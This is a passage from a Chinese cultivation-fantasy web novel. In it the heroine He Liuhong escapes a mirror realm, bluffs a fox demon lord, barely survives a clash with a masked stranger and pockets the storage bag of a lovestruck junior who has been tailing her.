贺流虹也在小师叔的洞府内待过很久,出不去,里面每个地方都被她逛过好几遍,自认为已经非常熟悉里面的构造。 但还是比不上眼前这位。 几百年被困在一个永恒不变的牢笼里,接触不到任何外面的世界,她无法想象那是一种什么样的感觉。 她甚至怀疑对方嘴里提及的阿爹阿娘是一种幻觉。 “是阿爹阿娘把你……我们关在这里的?他们为什么要这么做?” “阿爹阿娘说过,只有这里才是最适合我和姐姐长大的地方,外面太肮脏杂乱,会污染我和姐姐。” 贺流虹瞥了一眼屋子里满地的涩图,心想这阿爹阿娘的隔离计划八成是失败了。 她又一次尝试使用灵力,原本源源不断在经脉流转的灵气像被凝固住,是一种停滞的状态。但又不会产生不适。 倒是丹府内的景象让她惊讶不已,那颗“妖丹”的光芒比之前耀眼数十倍不止,并且还在不断增强。 她惶惶不安地对其进行压制,勉强调动出一点可用的灵力,刚一接触到就被那光芒吸收,随之丹府传来刺痛,猛地吐出一口血。 贺小霓焦急不安地抱住她,带着哭腔询问:“姐姐你这是怎么了?” 贺流虹靠着她瘦弱的身体,被她又搀扶到那间小木屋里。 对方将她扶到床上躺好,亲亲她的脸颊,甜甜地说了声:“姐姐你休息吧。” 然后就什么都不管了。 贺流虹直挺挺躺在床上,克制着不再去招惹那颗气焰正嚣张的“妖丹”,等待它自己冷静下来。 屋子里连一杯水都没有,衣柜里是空的,床上光秃秃连张毯子也没有。 这位突然多出来的妹妹不仅寿命长得不像正常人,显然也没有任何正常人的生活常识。 贺流虹很好奇,她这几百年需不需要吃东西,需不需要睡觉喝水。 贺小霓时不时过来床边看她一眼,趁她柔弱,摸摸她的头发捏捏她的衣服,又亲亲她的脸蛋,仿佛想要尽快重新熟悉她,然后又坐在小画板边,拿着画笔涂涂抹抹。 贺流虹缓过劲来,就看到画板上面多了一张画像,和她十分相似。 贺小霓期待地转过身,问她:“姐姐,我画的像吗,这是你现在的模样吗?” 贺流虹点了下头,道:“差不多吧。” 少女眉飞色舞,热情地扑过来:“我就知道,姐姐就是最好看的!” 贺流虹扫了一眼画板四周散落一地的裸.男,有没穿衣服的修真界第一美人,也有没穿衣服的佛子,佛子她没见过,不知道是否一模一样,但所有典型特征都如出一辙。 “你从来没见过外面的人,又是怎么知道佛子右手的念珠有几颗,琼华真人的眼尾有泪痣。” 贺小霓冲她一笑,神神秘秘地告诉她:“姐姐你还不知道吧,自从你离开之后,我发现了一个很有意思的地方,就在河边,能听到好多人说话,有些我听不明白,但是你说的琼华真人和佛子,这两个人我都经常能听到。” 贺流虹被她带到河边,河水清澈,有鱼在游动。 贺小霓先去和几条鱼打了个招呼,然后拍了拍岸边的一块大石头,说:“在这里等一等,就能听到啦。” 这个地方贺流虹之前寻找出口的时候就来过,没有发现任何异样。 此刻看来,仍旧没什么不同。 她半信半疑地坐下来,警惕地转动眼珠观察四周。 贺小霓一派悠闲,屈膝坐在大石头上,两只手捧着下巴,眨着漂亮但无神的眼睛。 过了不知道多久,一些或近或远、音调不同的声音在四周响起。 “哎呀,这批货又没卖出去,砸手里了,今年没法给我女儿买一只新灵宠了。” “灵宠有什么好养的,伺候不起,还不如买一只正儿八经的坐骑,起码派的上用场。” …… “南宫师姐,不好了!有人闯入宗主清修之地了,我们不敢擅自接近后山,你快去看看吧。” “师父救我,师父!我又被人打了,那个贺流虹,该死的贺流虹她又打晕我自己跑了!” …… “宝贝~啊~~轻点儿~哦好爽~” …… “我搞到了一个小道消息,佛子想要还俗,说是做和尚没意思,想谈恋爱了。” …… “哎,兄弟,你说咱俩要是也能长成琼华真人那样,还需要像现在这样辛辛苦苦杀妖怪赚灵石吗。” “别说了,我这美颜丹都用半年了,一点效果都没有,我这还怎么获得有钱女修姐姐的垂怜啊。” “哎!” …… “老板,给我一包迷情散。” “你是同行来砸场子的是吧,我哪里给你弄迷情散,我又不是风月宗的!滚!” “天玄宗那个琼华不也中的迷情散嘛,也没见风月宗最近有谁春风得意修为暴涨啊,说明什么,说明人家第一美人的迷情散不是风月宗下的,迷情散早就不是风月宗独有!你卖不了迷情散,你无能!趁早闭店!” “胡搅蛮缠,来人,放狗!” …… “宋清宁,你这个废物,十年了还待在外门当仆役,还有脸继续花宋家的钱?” …… “掌门师兄,我想亲自去找她。” …… 无数道各不相同的声音在耳边同时响起,此起彼伏,混乱不堪。 如果不是修炼之人耳聪目明异于常人,怕是只能接收到一堆噪音。 贺流虹凝神静听,不自觉瞪大眼睛, 她想起了被那面铜镜拽进来之前,在镜子上看到的裂纹。 这个藏在铜镜中的秘境大概正是因为那些裂纹导致轻微崩塌碎裂,与外面的天地产生联结,使那些混乱嘈杂的声音泄露进来。 她想她可能找到出去的方法了。 贺小霓问:“是不是特别好玩?我经常来这里听他们说话。” 她又指了指近处的那棵树,道:“那里还会经常有人给我送纸和笔,我的画都是用那个人送来的纸笔画的。” 正说着,一旁的大树下面就凭空多了两只箱子。 贺小霓听到动静,跑过去看。 贺流虹也跟了过去。 两只箱子,一只打开是上好的笔墨纸砚,另一只……是满满一大箱灵石。 贺流虹眼睛都看直了。这一大箱,少说有几万块吧!? 树下的空气中也响起了神神叨叨的声音,像是有人在烧香祈祷:“神仙在上,信女已将上个月售卖画册的利润上供给您了,请您再恩赐您的信徒们一些新的画作吧,佛子好看爱看,跪请神仙多画,对了有泪痣的那个别画了天玄宗姓周的砸了我三回店了……信女愿不吃不喝,沐浴焚香,时刻等待您的启示。” 贺小霓安静地听完,把箱子里的纸笔搬出来,然后把袖子里的一卷画拿出来,丢进了箱子里,默默嘟囔道:“好啦,希望你们喜欢。” 空气里的声音变得闹哄哄 ,有几个人在欢呼雀跃。 “老板快来看,又有新的了!” “太好了太好了这个月又能出新卷了,发财了发财了!” 贺小霓像是被这种快乐感染了似的,眼里多了几分笑意,道:“姐姐你听,这些人笑得好开心啊。” 贺流虹的眼神黏在旁边的另一只箱子上,见她半天没采取行动,忍不住提醒:“这还有一箱好东西呢。” 贺小霓仿佛刚刚才留意到似的,把一大箱灵石都倒了出来,苦恼地说道:“这个人怎么总是给我送这种石头,摸上去硬邦邦冷冰冰的,屋子里都堆不下了。” 贺流虹正想跟她解释这冷冰冰的东西在外面世界的重要性,就眼睁睁看着她抓起一把灵石扔进了河里。 扔……进……了……河……里…… 贺流虹捂住了心脏,久久不能言语:“你、你、你……” 你不要给我啊! 贺小霓又抓了一把冷冰冰的石头,被她按住了,不解地问:“姐姐,怎么了?你的手怎么在发抖,是不是又不舒服了?” 贺流虹:“对,我有点不舒服,你别再扔了。” “噢,好吧,姐姐说什么就是什么。” 她仰着一张干净的脸,面对着贺流虹,“姐姐,我听你的话,你不要再丢下我一个人了好不好?” 贺流虹把她手心里的灵石拿出来,把她拉到稍远处,以免她继续暴殄天物,好声好气说道:“要是我能找到出去的方式,我肯定会带你一起出去的。” “那太好了!我这就回去拿上我的画板!” 贺流虹急忙强调道:“还有你的那些又冷又硬的石头,也记得一起带上。” 贺小霓迷惑不解,但还是点了点头,一溜烟跑回小木屋。 她走了之后,贺流虹仍旧守在河边没动弹,等着外面的声音再次泄露进来。 同时心里盘算着,那个书斋老板真是会做生意,一本画册售价六百六十六,抛去成本能赚六百,一个月赚的灵石何止数十万? 而刚刚那一箱子灵石最多五万,却成了老板嘴里说的一个月利润。 这拜神仙的心远远不够虔诚啊。 等她出去了,一定要替心爱的妹妹讨回公道。 胡乱想了一会儿,乱糟糟的声音又在耳边响起。 贺流虹仔细分辨,声音传来最多的方向,是在河水下面。 趁着这一波声音还在持续,她迅速一头扎进水里,朝着嘈杂声响的源头游过去。 河水比她想象得要深,游到一定深度,那面透明的空气墙又出现了。 声音还在断断续续。 她从水草中穿梭而过,透明空气墙让她无法继续往下靠近声音源头,逼迫她不得不改变方向。 声音泄露得越多的地方,秘境产生的裂缝越多,能找到出口的机会也就越发。 她有些焦躁,声音似乎越来越弱了,而那堵水下的空气墙仍然没有出现一丝一毫的缝隙。 “天玄宗与我们妖族有血海深仇,遇到天玄宗弟子,杀无赦!” 突然响起在耳边的声音让贺流虹一惊,嘴里灌进去一口凉水,呛了一下。 紧接着就有一股吸力猛地将她拽向水底。 第39章 第39章我没骗你,对吧? 一群妖族躲在荒僻深林中围成一圈,大声密谋,高呼找天玄宗复仇,灭掉仙门。 忽然“哐”的一声,掉下来一个年轻人,正落在这些妖族的正中间。 主持这场密谋的妖族头目眉头一皱,警觉地大喝一声:“不好,有埋伏!快跑!” 话音未落,一群仙门修士从四面八方的林子里冒出来,杀向这群妖族。 场面顿时混乱起来。 那个掉下来的年轻人——也就是猝不及防从秘境离开的贺流虹,正眼冒金星,晕头转向。 她还没弄清楚状况,就被一只狼妖猛地抓住肩膀大骂道:“该死的人族修士,竟然联合起来暗算我们!” 狼妖的利爪深深嵌入血肉当中,血珠子当场浸透领口。 贺流虹拔剑就将它捅了个对穿,一转身,前后左右都是正要互相拼命的妖族和仙门弟子,不论是人还是妖,都热血沸腾。 离她最近的一个修士抽空跟她打招呼:“咦,之前怎么没见过你,你是临时加入我们的吗?” 贺流虹不好解释,又砍了个张嘴对她咬过来的鼠妖,连妖丹都顾不上去取,掉头就跑。 她好不容易脱离天玄宗的监控,可不能再搅和进这群仙门弟子的行动中去。 即便她想,也要问问她丹府内那颗妖丹同不同意。 那个铜镜的空间似乎对它有加持效果,现在它的光芒几乎要将旁边那颗金丹彻底掩盖,妖息也随之变得极具存在感。 她乱砍乱捅了一路,终于避开乱斗的最中心,得了一丝空闲时机,正要来张遁走符快速脱身,手腕被用力攥住。 她的剑下意识往后捅过去,捅了个空。 对方灵巧地躲开了,仍旧攥着她的手没放,并开口说道:“我也是天玄宗弟子。” 贺流虹回过头飞快瞪了他一眼,然后露出痴呆的眼神:“天玄宗?没听说过,我是刚从山里出来的。” “你是外门的贺流虹贺师姐,我见过你。” 这个同门小师弟说话时两眼亮晶晶的,好像遇上什么大喜事似的,无比的欣喜开心。 “哈哈,那我们真是太有缘分了。” 贺流虹脸上在微笑,胳膊在使劲,想要从这个过分热情的师弟手中挣脱。 对方像是终于意识到自己的唐突,赶紧松开了手,赧然一笑:“我、我就是看到同门师姐太激动了……” 说着又连忙将另一只手上的袋子递过来,献宝似的说道:“我陪师姐你一起打妖怪,收集到的妖丹全部归你好不好。” 贺流虹困惑地瞥他一眼,对方脸颊因为羞赧而红扑扑的,眼睛像小鹿一样清亮湿润,如同浸着一汪清澈的水。 是个俊秀漂亮的小师弟。 只不过好像有点傻。 那边的妖族已经被仙门的人杀得差不多了,一群修士不顾满脸血污,神色振奋地抓着妖族的尸身剖妖丹。 围剿即将结束,贺流虹怕又冒出来更多的天玄宗同门,忙将小师弟那一整袋妖丹推回去,“你的好意我心领了,我还有急事先走一步……” 她手上的遁走符还没成功启动,林间刮起一阵狂风,起了浓雾,一道低沉的嗓音在上空响起:“谁都别想走!” 伴随着这道隐隐含有怒气的声音,贺流虹手上的遁走符直接就化为齑粉。 好浓的妖气,来的至少是个七阶以上的大妖。 正在忙着剖妖族内丹的修士们浑身僵住,一部分人想当场逃命,一部分人依依不舍丢下到手的妖丹,重新拿起武器准备反击。 然而,一张大网都头顶落下,所有人都像是被巨鼎压身,连站立都变得困难,一个接一个地被缚入网中。 贺流虹和她刚认识的漂亮小师弟捆在一起,被一群修士推推挤挤到快要变形,差点就要撞上彼此的额头。 浓雾散开,一道夺目的身影显现出来,通身火一样的红,气场骇人。 贺流虹偷偷去瞧她的确切模样,三阶以上的妖族便能修出完整人形,这一位明显七阶以上的大妖却像不屑藏匿一般,一条火红的毛茸茸的大尾巴在身后扫来扫去。 对方像是有所感应,野性十足地犀利目光朝贺流虹射过来。 贺流虹装作若无其事地收回打量的视线。 那只红狐狸冷哼一声:“一百二十五条命,九十八颗内丹,你们这些人族,想好怎么 偿还了吗?” 出师不利的人族修士惊骇大喊:“妖尊,我们撞到妖尊手上了!” “不是说只有一伙低阶小妖在此聚头吗!谁提议的来这边赚一笔大的!” “我就说仙门里面肯定混进了妖族卧底!” 贺流虹一点不敢搭腔。 惊怒交加的修士们挤来挤去,她的两只胳膊没地方放,放哪里都觉得占地方,还动不动被不知道是谁的武器硌到,索性放在了小师弟的细腰上。 空间顿时宽敞多了。 低头一瞧,怀里的俊俏小师弟脸颊更红了,眼帘低垂,长睫轻颤。 贺流虹附到他耳边悄声问:“你怎么看起来一点也不害怕?” 他急忙道:“怕,我当然怕。” 说着就将自己缩成一团,靠进了贺流虹怀里。 贺流虹:“……”怎么感觉这个小师弟“怕”得非常勉强。 妖尊的声音飘过来,冷笑一声:“还有心思打情骂俏,很好,就先拿你来……” 她说到此处忽然顿住,一道沙哑到无法分辨原本音色的声音通过神识传音:“先不要动手,将他们全部带回来。” 妖尊皱了下眉,有些不悦,但还是依照那道声音的指示,将这些落网的人族修士带了回去。 妖族在仙门的地界藏身各凭本事,身为妖族至尊,洞府的位置绝不轻易暴露。 贺流虹只感觉一眨眼,人就来到了一个大山洞里。 和她一起过来的还有一群修士,不过现在终于不用挤在一起,而是被妖尊的下属们列成好几排。 妖尊先是消失了一会儿,然后重新回到这些人跟前,一个一个地扫视过去。 贺流虹仍然和她的漂亮小师弟站在一起,被妖尊那双犀利的眼神盯上时,不由有些紧张。 她想,运气应该不会这么差吧,被天玄宗的同门师弟认出来也就算了,妖族应该还不知道琼华真人中了迷情散、而她刚好就是解药的事吧? 就算知道,肯定认不出来的,毕竟她只是个小角色…… 她刚刚把自己安抚住,就听头顶传来询问声:“你们有谁认识贺流虹?天玄宗外门弟子贺流虹,能提供此人线索的,我可以饶你一命,要是能直接助我抓到她,我不仅不杀你,还能直接放你离开。” 贺流虹:“……” 她用余光瞥了一眼站在左手边的同门小师弟,对方纹丝不动,漂亮的脸蛋上神色平静,甚至隐隐有种令人似曾相识的冷清淡漠之感。 左手边的小师弟没反应,倒是其余人都在交头接耳。 “贺流虹是谁,没听过啊。” “是天玄宗的,咱们这有天玄宗的吗?” “没有啊,合作之前不是都登记过身份吗,天玄宗那种大门派哪里稀罕和咱们一起行动。” 贺流虹再次瞥向“小师弟”。 对方这次也默默瞧了她一眼,四目相对的时候,那张白净漂亮的脸上浮现一丝慌乱和心虚。 贺流虹皱起眉头,有种不妙的预感。 这个人伪造身份蓄意接近她,到底是想做什么? 她是不是应该庆幸,至少对方看起来不打算在妖尊面前拆穿她的身份? 除了风月宗,天玄宗,妖族,到底还有多少人正在找她? 这可不是什么好预兆。 她飞快思考一遍如今境遇,余光却瞥见右手边的另一名人族修士也在偷偷打量她。 那人眉间一块胎记很是显然,贺流虹脑海中瞬间闪过画面:“小师弟”抓着她的手与她相认时,那人正朝这边望过来。 当时那个距离,他很有可能听见了她和“小师弟”的对话。 妖尊等了很久,有些不耐烦,下了最后通牒:“再给你们最后一次机会,都没人知道的话,就统统为我妖族死去的下属偿命!” 贺流虹一瞧,果然,那人急得汗如雨下,眼珠子转了几圈,整个人蠢蠢欲动,手即将朝着这边指过来。 贺流虹动作幅度很大地抬起右边胳膊在空中挥舞一圈,将他的手拍开,然后高高地举起手,大声道:“妖尊前辈,晚辈有话说!” 妖尊挑了下眉,原本即将耗尽的耐心又充足了起来,走到她面前,笑道:“不急,你慢慢说。” 贺流虹左右看了看,露出了犹豫的神情,道:“事关重大,可不可以借一步说话。” 妖尊探过她修为,不过筑基而已,就算再加上她那个打情骂俏的漂亮师弟,也不足为惧。 于是贺流虹就被红通通的妖尊前辈带去私聊了。 门刚一关上,妖尊就显出毛茸茸的狐狸原型,靠在厚厚软软的垫子上,眯缝着狐狸眼,开口吐出人言:“说吧,贺流虹在哪里,你能帮我找到她的话,我会奖励你的。” 贺流虹搓搓手,朝身后的门望了望,又不放心地问:“您这门隔音吗?要不再加几张防止窥探的符篆?” 红狐狸不满地瞪她一眼,“多事。” 说话间抬起爪子,在外设了道结界。 贺流虹使劲掐了一把大腿,眼中挤出了一点泪水,吸了吸鼻子哭泣道:“尊主,我想死你们了尊主!其实我是自己人啊尊主!” 那双狐狸眼被迷惑不解的情绪占满,狐狸脸不足以表达她的茫然,于是又变回人身,拧着眉头问:“你、你、你在说什么?” 贺流虹深吸了一口气,缓缓说道:“是这样的尊主大人,其实,我并不知道谁是贺流虹,但是我一看见您就倍感亲切,有种想认亲的冲动。” 她唤醒了那颗“妖丹”,令它十足浓烈的妖气散发出来,把自己主动凑过去,道:“尊主,您仔细感受一下,是不是同族的气息?我就是妖族遗失在外的血脉啊。” 对方将脸凑近,仔细嗅了嗅她肩上还未干涸的血迹。 贺流虹捏着最好的一件护身灵宝,做好了用光所有法器丹符逃命的准备,心跳得很快。 她既怕这位妖族至尊摇头否认,骂她胆敢戏弄自己,一爪子送她归西,又怕对方欢迎她认祖归宗。回到妖族老家。 大概过了半辈子那么久,红通通的妖尊终于停止打量她,若有所思地盯着她,笑了一下。 那笑容既不像是开心,也不像是不开心。 贺流虹做无辜天真状,问:“尊主,我没骗你,对吧?” 狐狸不紧不慢道:“你这贪婪又自私的人味儿当中,好像确实有些不一样的气息。” 第40章 第40章难道是来降她的?…… 贺流虹咂摸着这句话。 妖尊说她有人味,但不纯,所以她是人,又不完全是人?可能是妖,也可能不是? 作为一个穿越前阅读理解从来没拿过高分的人,贺流虹百思不得其解。 妖尊很快就对她露出了友好的笑容,道:“你很有觉悟,知道弃暗投明,归顺妖族是你做的最正确选择。” 贺流虹挠了挠头,露出老实的笑容:“那、那真是太好了。” 妖尊回过头,吩咐自己的下属:“好了,外面那群人问不出什么有用的消息了,全部都杀了吧。” 贺流虹急忙阻止:“哎等等!” 妖尊皱起了眉:“怎么,不是要归顺妖族,这么快就舍不得你那漂亮小师弟了?” 贺流虹一本正经说道:“外面那些仙门弟子全都死了当然是最好的,但是只有我一个人活着回去是不是有点惹人怀疑。” “你?回去?” “对啊,难道尊主不想让我去仙门卧底吗?我的身份都是现成的,不用再像您派出去潜伏仙门的朋友们那样麻烦。” “那就留几个,打成重伤,让你带回去,增加一下那群人族对你的信任度。” 妖尊很认真的考虑了一下她的建议,觉得十分可行。 话到一半,眼神从她肩头越过,对着她身后开口:“你来这儿干了?” 贺流虹一回头,就瞧见一个黑乎乎的影子,全身被宽大的黑袍子遮挡住,脸上也带着黑色的面具,隐藏在兜帽里。 她没有从对方跟上感应到任何妖气,反而有人族修士的灵力在缓缓浮动。 这副打扮出现,生怕别人不知道,这是个见不得人的货色。 说不准还是个比她还纯正的仙门叛徒。 黑袍人微微转动脑袋,朝她看过来,道:“把她交给我。” 妖尊不服气:“她已经 归顺了妖族,凭什么交给你。” 黑袍人压抑着不耐烦,道:“她就是我要找的人,如果不想合作,大可到此为止,一拍两散。” “刚帮你找到人,就要一拍两散,人族还真是一个比一个无耻。” “答应你的报酬我会照付。” “那你留下报酬就快滚吧,看见你就烦,一天天拿自己当祖宗对着本尊吆五喝六。” 红狐狸肆无忌惮发泄完对这个合作对象的不爽,望向贺流虹,眼神变得有些微妙,冷笑一声:“原来你就是贺流虹,你骗我。” 贺流虹的两条腿悄悄往旁边挪,嘴上说道:“尊主大人,我对您的忠心日月可鉴,就算您现在知道我就是贺流虹,您也不会将我交给一些藏头露尾的家伙的,对吧?” 她两眼含着泪水:“我是您忠心耿耿的孩子啊。” 妖尊皱皱眉头,脸上出现动摇的神情,道:“我现在怀疑你连妖族身份也是骗我的。” 贺流虹还没开口,黑袍人就嗤笑了一声,笃定地说道:“她不是妖,天玄宗不会放任一个妖族来替琼华真人解迷情散。” 那只红狐狸的表情当场就变了,“那个和景雍神交的人是你?那我必须要现在就杀了你!” 贺流虹瞬间就被一股强悍无比的威压笼罩,冷汗如雨,急忙想要逃命。 她手上的防身法器还未使出来,就被黑袍人抓过来,面前多了一层法阵,将妖尊的攻击挡住。 妖尊怒斥:“把她还给我!让我杀她!” 黑袍人没有丝毫让步的意思,坚定道:“她不能杀。” “不杀她,难道要让天玄宗的景雍获得飞升的机会?天玄宗没一个好人,整个仙门,整个修真界没一个好人,我要让她第一个代替景雍给我妖族的师祖偿命!” “我也很想让景雍偿命,但是她对我有用,必须由我完好无损地带回去。” “那就要看你的本事,你以为自己装模作样,我就看不出你旧伤添新伤,重伤缠身,早已寿元将尽吗!” “就算有伤,对付你一个七阶小妖,也是绰绰有余。” 贺流虹一时间竟不知是惊叹这黑袍人好大的口气,还是该担心这一人一妖打起来她要往哪躲。 两边说着,就同时下了狠手,两股迫人的威压在空中相撞,地面都跟着摇晃了几下。 贺流虹踉跄了一下,身处争斗最中心,凭肉眼无法判断谁更胜一筹。 但是不管谁胜,都不像是有好事等着她。 黑袍人这副要护她完好无损的样子倒是很有迷惑性,但谁知道他说的那句“有用”到底是怎么用。就凭对方这没脸见人的造型,就知道私下里做的也是见不得光的肮脏事。 她趁乱想要挣脱黑袍人桎梏,却有两股力量同时将她定在原地不得动弹,很显然,一人一妖牢记这场争端发生的源头在她身上,谁都不愿打了半天结果让她跑了。 外面也传来闹哄哄的动静,被抓来的仙门同修们也想趁乱逃走,和妖尊的下属们缠斗在一起。 这里是妖尊的老巢,一个看门的小喽啰也是三阶以上,五阶六阶妖族遍地,想要压制住这些名不见经传的人族修士,不需要太费力气。 贺流虹更是被两个修为高深的家伙盯住,连动都动不了,她的脑子嗡嗡作响,模模糊糊好像还听见有人在附近焦急地喊她的名字,声音很熟悉,但是她无法回应。 情急之下,丹府一片滚烫,像是快要爆炸,那颗珠子又被唤醒过来,感应到她的虚弱,躁动地游走在其中,好像下一秒就要撕开她的血肉,吞噬她的神魂。 她又呕出一口血,眼前一片迷蒙,看不清任何东西,只感到一股失控般的恐怖能量从那颗珠子涌向全身每一寸经脉,猛地迸射向四面八方。 隐约间只听见轰隆一声巨响,接着所有声音都消失了。 一片寂静。 贺流虹费力睁开眼睛,满嘴满鼻腔的血腥气让她又呕了一声,晃晃悠悠扶着一块碎裂的石头站起来。 放眼四望,山洞塌了,地上遍布不知死活的妖族。 红通通的妖尊变得脏兮兮黑乎乎。 黑袍人在她脚边最近的地方趴着,身上压了一块大石头,正在气若游丝地吐着血,望向她的眼神充满不可思议。 贺流虹也挺震撼的,但此时有更重要的事要做,她二话没说,拿着剑过去,因为精疲力竭,那把剑显得格外沉,剑尖被拖在地上划出一道长长的凹痕。 她把剑架在黑袍人脖子上,正要掀掉那张厚厚的面具,对方化作一团阴影消失在原地。 “可恶。” 太可恶了,竟然只是个分神。 她骂骂咧咧,这时候再去看妖尊,妖尊竟也溜了。 地上倒是还有不少五阶六阶的妖族尸身,她决定收点医药费,蹲下来一个一个地剖妖丹。 在她身后不远处,一群仙门弟子被一道金光罩在其中,虽然有不少受了伤的,但好在都还活着。 这群人瞠目结舌地望着她剖妖丹的身影,回想起刚才那股让人惊骇不已的强大灵压,心有余悸,连大气也不敢喘。 他们不敢前去打搅贺流虹,于是去问那个在场唯一一个贺流虹的相熟之人。 那个之前听到两人交谈的修士低声问:“道友,你是她同门师弟?你俩都是天玄宗外门的?” 其余人一听,难以置信,纷纷压低声音议论起来:“天玄宗的实力已经发展到这种地步了吗!外门都能这么强?” 贺流虹知道那些人在观察自己,很可能也已经知道了自己的身份。 她不是很清楚那颗珠子刚才爆发出的力量是不是泄露了隐藏的妖气,这种时候,保持沉默然后飞快开溜才是上策。 她飞快地剖完最后一颗妖丹,趁众人没从她制造的惊骇之中回神,抽出一张遁走符,默默消失在原地。 那位天玄宗“小师弟”见状,急忙撤下护住众人的灵力罩,不待身边的修士将话说完,也一甩袖消失在人堆里。 贺流虹没走出多远,就体力不支,两眼昏花得快要晕倒在地。 丹府内的气息混乱不堪,有她自身的灵力,还有那颗越发苍翠的珠子散发的气息,以及弥漫其中的妖气。 附着在珠子上的妖气日益明显,她想到妖尊和黑袍人的对话,心中七上八下,黑袍人笃定她不是妖,可妖尊应当是更了解妖族血脉的,黑袍人藏头露尾,妖尊坦坦荡荡。 二者之间,妖尊的判断似乎更可信。 她也最好最好按照最可怕的状况来设想,否则下一个被修士们涌上来争抢着剖内丹的,就是她了。 丹府内的混乱气息都被那场爆发刺激得苏醒过来,彼此冲撞,不得消停。 贺流虹又吐了一大口血,袖口已经全是血,这下她连擦都懒得擦了。 她有些焦灼不安,抬眼恍恍惚惚地张望一圈,希望近处就有个适合藏身的好地方。 这里是荒郊野外的一条小路,距离最近的主城还有一段距离,但不保证一直没人经过。 更糟糕的是,有人在后面不远不近地跟着她。 她想加快脚步甩开,那人也会加快脚步追上来,她想停下来等,那人却也停下来不肯上前。 她想到丛林里的猎食者,会将惊惧不安的猎物耗光最后一丝力气,再得意地露面,享用到手的食物。 所以她也做出了耗光最后一丝精力的模样,靠在一棵树下,无力地垂下头颅,呼吸也像是微弱到停止。 没过一会儿,那人就出现在树下,急匆匆朝她走过来。 贺流虹听见他心跳得很急,身上散发着属于仙门修士的纯正灵力。 一只素净修长的手探过来时,贺流虹猛地攥住,并送他一张价值不菲的高阶定身符。 那张漂亮的脸蛋上满是惊慌和心虚,喃喃开口:“师、师姐……是我。” 贺流虹反身将他压倒在树干上,有点恼火地问:“别装了,你到底是谁?为什么一 直跟着我?” 妖尊和黑袍人同时被她重伤,其他妖族死伤一片,而这位外门“师弟”却能趁乱护住那些仙门同修。 正常情况下,一个外门弟子可做不到这种程度。 她冷声威胁道:“不肯说的话,我就将你杀了。” 对方被她拿刀抵着脖子,流露出羞愧不安的神情,道:“如果我说了,你还会让我跟着你吗?” 贺流虹上下打量他,修为不低,腰带上镶嵌的一块宝石卖出去,换的灵石都比她口袋里的灵石加一起还要多。 什么都不缺,有什么理由非要跟着自己。 难道是来降妖除魔、匡扶正道的。 她恨恨地问:“为什么要跟着我?我对你来说有什么特别的吗?” 男修的脸瞬间红了,眼神闪躲着,避开她直视过来的目光,垂着又长又密的眼睫,支吾了半天,道:“很、很特别,你对我来说很特别。” 40-50 第41章 第41章都是我的了 /:. 这个充满遐想空间的、模棱两可的回答,不知怎么将贺流虹惹恼。 “是有人让你来抓我?还是你自己想要杀了我?你又是受命于谁,风月宗?魔族?剑宗?你也想抓了我去换取功劳和赏识?” 贺流虹咬牙切齿,将刀尖抵进几分,那莹白柔软的脖颈上滚下来几滴耀眼的血珠子。 男修良久地陷入沉默。 在她的逼视之下,那双秾艳多情的眼睛里有清莹的泪水在打着转,白皙漂亮的脸上滑落两行清泪。 泪珠子和血珠子一起滴落到贺流虹手背上,愈发灼热滚烫。 贺流虹呼吸急促,疼痛感一阵接着一阵,眼前也越来越模糊,见对方只是一味默默流泪,不耐烦地将他松开,转身便要走远。 男修被定身符限制住行动,脱离她的掌控,身体无力地靠在身后粗壮而歪斜的树干上,泪水从眼尾溢出,显得越发可怜,焦急地喊道:“不要走。我可以证明自己对你并无恶意。” 贺流虹轻哼一声:“连真实身份都遮遮掩掩,我为何要信你。” 他担心她又要一去不回,赶忙说道:“我的芥子袋中有一瓶噬心丹,将你的血滴在上面,喂我吃下。此后我若是想伤你,必遭百蛊噬心而死。” 贺流虹听到噬心丹,瞬间有点走不动道。 噬心丹不像破境丹固元丹那样的修炼必备丹药,但是效果特殊,一颗就能卖出几万灵石。 此人拥有整整一瓶! 就算是为了表达对灵石的尊重,她也必须要拿到手。 她迅速返回他面前,手伸进他衣服里一通乱摸,摸到了一个做工精致的芥子袋,言简意赅示意他:“打开。” 男修乖乖打开自己的芥子袋。 袋子一打开,贺流虹充分见识到此人的富有,成堆的灵石法宝,又是一个可恨的有钱人,辟谷丹可以吃一颗丢三颗。 她恨得头晕眼花,伤口更痛,两手微微颤抖,胡乱翻找一遍。 灵宝丹药实在太多,她又深受丹府疼痛折磨,怎么也找不到。 她不能再和一个目的不明的人纠缠了。 于是,在男修略显忐忑的眼神中,她将整只芥子袋收进了自己的口袋。 然后使用了一张遁走符,消失得无影无踪。 贺流虹溜得很及时,刚逃至一处前后无人的荒野破庙,妖气就控制不住地泄露,四周的生灵都被惊动,鸟雀在枝头发出不安的叫声,觅食的老鼠撞到破庙的石像上,墙角缝隙里急躁不安地爬出很多虫子。 一切异象都显得很不详。大妖临世,恶魔降生也不过如此。 她眼看着那妖气从丹府内溢散出来,恐要引起一方大修的注意,情急之下又试图将妖气压制在丹府内,不让它再有泄露分毫的机会。 这不是一件想想就能做到的事,这些天以来,妖息随着她的修为一起日益强化,越来越无法压制。 她坐在灰尘遍地的破庙,又开始吐血。 天好像黑了好几遍,太阳升起又落下,月亮爬上树梢,又坠落在天边,如此循环往复。 破庙里的灰尘似乎积得更厚了些,漫长而痛苦的争斗全部发生在她自身之中,剑拔弩张,生死一线,但又无比安静。 精力耗尽之前,她又想起重伤妖尊和黑袍男的那股力量,异常强大的力量,仿佛可以毁掉一切或拯救一切。 只要……只要她能再次成功将那股力量使用出来…… 伴随着这样的渴望,源源不断的力量又从那颗珠子里散发出来,涌向她的全身。 她终于无法支撑这股足以毁天灭地的恐怖力量,吐出一大口血,倒在身上的蒲团上。 意识模糊间,有人在碰她的脸。 柔软的帕子正在轻轻擦拭她脸上的血,一张帕子脏掉,又换了另一张,最后衣角布料也被用力撕开,继续清理她这满脸满身的血迹,汗水,以及灰尘。 她的耳边传来喃喃细语,说话的人似乎认识她,声音有些熟悉。 但是她太困了,什么都听不清。 不知道过了多久,她睁开眼睛醒过来,身体得到休息,整个人神清气爽。 她还在破庙里,利用神识查探破庙周围,没有发现任何人存在。 可是她脸上头发上衣服上的血迹灰尘都不见了,昏迷时感觉到的那些,显然都不是错觉,有人照顾了她,还帮她梳理过混乱的灵力。 意识到这一点,她赶紧检查丹府内的情况。 那颗珠子安分地待着,靠近时依然能感觉到妖气,但是攻击性弱了很多。 经过那场漫长而痛苦的对抗,贺流虹有了一个惊人的发现,妖气和珠子都会和她作对,但妖气并非来源于这颗绿油油的珠子,二者不是一体。 她尝试过很多遍,控制珠子本身,让它那可怕的杀伤力变成可供自己使用的力量。 失败的次数很多,但是只要吐血吐得够多,总有成功的时候。 